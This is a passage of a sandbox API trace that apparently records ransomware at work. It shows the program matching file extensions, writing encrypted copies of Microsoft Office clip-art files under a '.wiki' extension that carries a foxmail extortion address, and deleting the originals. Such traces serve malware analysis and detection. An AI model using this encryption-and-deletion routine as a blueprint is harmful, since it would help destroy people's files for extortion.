nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4150, lpOverlapped=0x0) returned 1 [0195.733] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.733] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.734] SetEndOfFile (hFile=0x1cc) returned 1 [0195.734] CloseHandle (hObject=0x1cc) returned 1 [0195.734] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.734] SetEndOfFile (hFile=0x200) returned 1 [0195.735] CloseHandle (hObject=0x200) returned 1 [0195.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0195.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.735] lstrlenW (lpString=".doc") returned 4 [0195.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.735] lstrlenW (lpString=".docx") returned 5 [0195.735] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0195.735] lstrlenW (lpString=".pdf") returned 4 [0195.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.735] lstrlenW (lpString=".xls") returned 4 [0195.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.735] lstrlenW (lpString=".xlsx") returned 5 [0195.735] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0195.735] lstrlenW (lpString=".ppt") returned 4 [0195.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.736] lstrlenW (lpString=".zip") returned 4 [0195.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.736] lstrlenW (lpString=".rar") returned 4 [0195.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.736] lstrlenW (lpString=".bz2") returned 4 [0195.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.736] lstrlenW (lpString=".7z") returned 3 [0195.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.736] lstrlenW (lpString=".dbf") returned 4 [0195.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.736] lstrlenW (lpString=".1cd") returned 4 [0195.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.736] lstrlenW (lpString=".jpg") returned 4 [0195.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.736] lstrlenW (lpString=".doc") returned 4 [0195.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.736] lstrlenW (lpString=".docx") returned 5 [0195.736] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0195.736] lstrlenW (lpString=".pdf") returned 4 [0195.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.736] lstrlenW (lpString=".xls") returned 4 [0195.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.737] lstrlenW (lpString=".xlsx") returned 5 [0195.737] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0195.737] lstrlenW (lpString=".ppt") returned 4 [0195.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.737] lstrlenW (lpString=".zip") returned 4 [0195.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.737] lstrlenW (lpString=".rar") returned 4 [0195.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString=".bz2") returned 4 [0195.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString=".7z") returned 3 [0195.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.737] lstrlenW (lpString=".dbf") returned 4 [0195.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.737] lstrlenW (lpString=".1cd") returned 4 [0195.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0195.737] lstrlenW (lpString=".jpg") returned 4 [0195.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.737] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0195.737] lstrlenW (lpString="J0144773.JPG") returned 12 [0195.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.738] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=40231) returned 1 [0195.738] CloseHandle (hObject=0x200) returned 1 [0195.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 0x20 [0195.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.738] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.738] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.739] GetLastError () returned 0x0 [0195.739] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x9d27, lpOverlapped=0x0) returned 1 [0195.741] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x9d30, lpOverlapped=0x0) returned 1 [0195.743] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.743] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.743] SetEndOfFile (hFile=0x1cc) returned 1 [0195.743] CloseHandle (hObject=0x1cc) returned 1 [0195.743] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.743] SetEndOfFile (hFile=0x200) returned 1 [0195.744] CloseHandle (hObject=0x200) returned 1 [0195.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0195.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.745] lstrlenW (lpString=".doc") returned 4 [0195.745] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.745] lstrlenW (lpString=".docx") returned 5 [0195.745] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0195.745] lstrlenW (lpString=".pdf") returned 4 [0195.745] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.745] lstrlenW (lpString=".xls") returned 4 [0195.745] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.745] lstrlenW (lpString=".xlsx") returned 5 [0195.745] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0195.745] lstrlenW (lpString=".ppt") returned 4 [0195.745] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.745] lstrlenW (lpString=".zip") returned 4 [0195.745] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.745] lstrlenW (lpString=".rar") returned 4 [0195.745] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.745] lstrlenW (lpString=".bz2") returned 4 [0195.745] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.745] lstrlenW (lpString=".7z") returned 3 [0195.745] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.745] lstrlenW (lpString=".dbf") returned 4 [0195.745] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.745] lstrlenW (lpString=".1cd") returned 4 [0195.745] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.745] lstrlenW (lpString=".jpg") returned 4 [0195.745] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.746] lstrlenW (lpString=".doc") returned 4 [0195.746] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.746] lstrlenW (lpString=".docx") returned 5 [0195.746] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0195.746] lstrlenW (lpString=".pdf") returned 4 [0195.746] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.746] lstrlenW (lpString=".xls") returned 4 [0195.746] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.746] lstrlenW (lpString=".xlsx") returned 5 [0195.746] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0195.746] lstrlenW (lpString=".ppt") returned 4 [0195.746] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.746] lstrlenW (lpString=".zip") returned 4 [0195.746] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.746] lstrlenW (lpString=".rar") returned 4 [0195.746] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.746] lstrlenW (lpString=".bz2") returned 4 [0195.746] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.746] lstrlenW (lpString=".7z") returned 3 [0195.746] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.746] lstrlenW (lpString=".dbf") returned 4 [0195.746] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.746] lstrlenW (lpString=".1cd") returned 4 [0195.746] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0195.746] lstrlenW (lpString=".jpg") returned 4 [0195.747] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.747] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0195.747] lstrlenW (lpString="J0145168.JPG") returned 12 [0195.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.747] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=33657) returned 1 [0195.747] CloseHandle (hObject=0x200) returned 1 [0195.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 0x20 [0195.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.748] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.748] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.748] GetLastError () returned 0x0 [0195.748] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8379, lpOverlapped=0x0) returned 1 [0195.750] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x8380, lpOverlapped=0x0) returned 1 [0195.751] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.751] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.751] SetEndOfFile (hFile=0x1cc) returned 1 [0195.751] CloseHandle (hObject=0x1cc) returned 1 [0195.751] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.751] SetEndOfFile (hFile=0x200) returned 1 [0195.752] CloseHandle (hObject=0x200) returned 1 [0195.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0195.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.753] lstrlenW (lpString=".doc") returned 4 [0195.753] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.753] lstrlenW (lpString=".docx") returned 5 [0195.753] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0195.753] lstrlenW (lpString=".pdf") returned 4 [0195.753] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.753] lstrlenW (lpString=".xls") returned 4 [0195.753] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.753] lstrlenW (lpString=".xlsx") returned 5 [0195.753] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0195.753] lstrlenW (lpString=".ppt") returned 4 [0195.753] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.753] lstrlenW (lpString=".zip") returned 4 [0195.753] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.753] lstrlenW (lpString=".rar") returned 4 [0195.753] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.753] lstrlenW (lpString=".bz2") returned 4 [0195.753] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.753] lstrlenW (lpString=".7z") returned 3 [0195.753] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.753] lstrlenW (lpString=".dbf") returned 4 [0195.754] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.754] lstrlenW (lpString=".1cd") returned 4 [0195.754] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.754] lstrlenW (lpString=".jpg") returned 4 [0195.754] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.754] lstrlenW (lpString=".doc") returned 4 [0195.754] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0195.754] lstrlenW (lpString=".docx") returned 5 [0195.754] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0195.754] lstrlenW (lpString=".pdf") returned 4 [0195.754] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0195.754] lstrlenW (lpString=".xls") returned 4 [0195.754] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0195.754] lstrlenW (lpString=".xlsx") returned 5 [0195.754] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0195.754] lstrlenW (lpString=".ppt") returned 4 [0195.754] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.754] lstrlenW (lpString=".zip") returned 4 [0195.754] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0195.754] lstrlenW (lpString=".rar") returned 4 [0195.754] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0195.754] lstrlenW (lpString=".bz2") returned 4 [0195.754] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0195.754] lstrlenW (lpString=".7z") returned 3 [0195.754] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.754] lstrlenW (lpString=".dbf") returned 4 [0195.755] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0195.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.755] lstrlenW (lpString=".1cd") returned 4 [0195.755] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0195.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0195.755] lstrlenW (lpString=".jpg") returned 4 [0195.755] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0195.755] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0195.755] lstrlenW (lpString="J0145212.JPG") returned 12 [0195.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.755] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=61633) returned 1 [0195.755] CloseHandle (hObject=0x200) returned 1 [0195.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 0x20 [0195.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0195.756] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.756] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.756] GetLastError () returned 0x0 [0195.756] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xf0c1, lpOverlapped=0x0) returned 1 [0195.986] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xf0d0, lpOverlapped=0x0) returned 1 [0196.576] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.576] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.576] SetEndOfFile (hFile=0x1cc) returned 1 [0196.576] CloseHandle (hObject=0x1cc) returned 1 [0196.576] SetFilePointerEx (in: hFile=0x200, 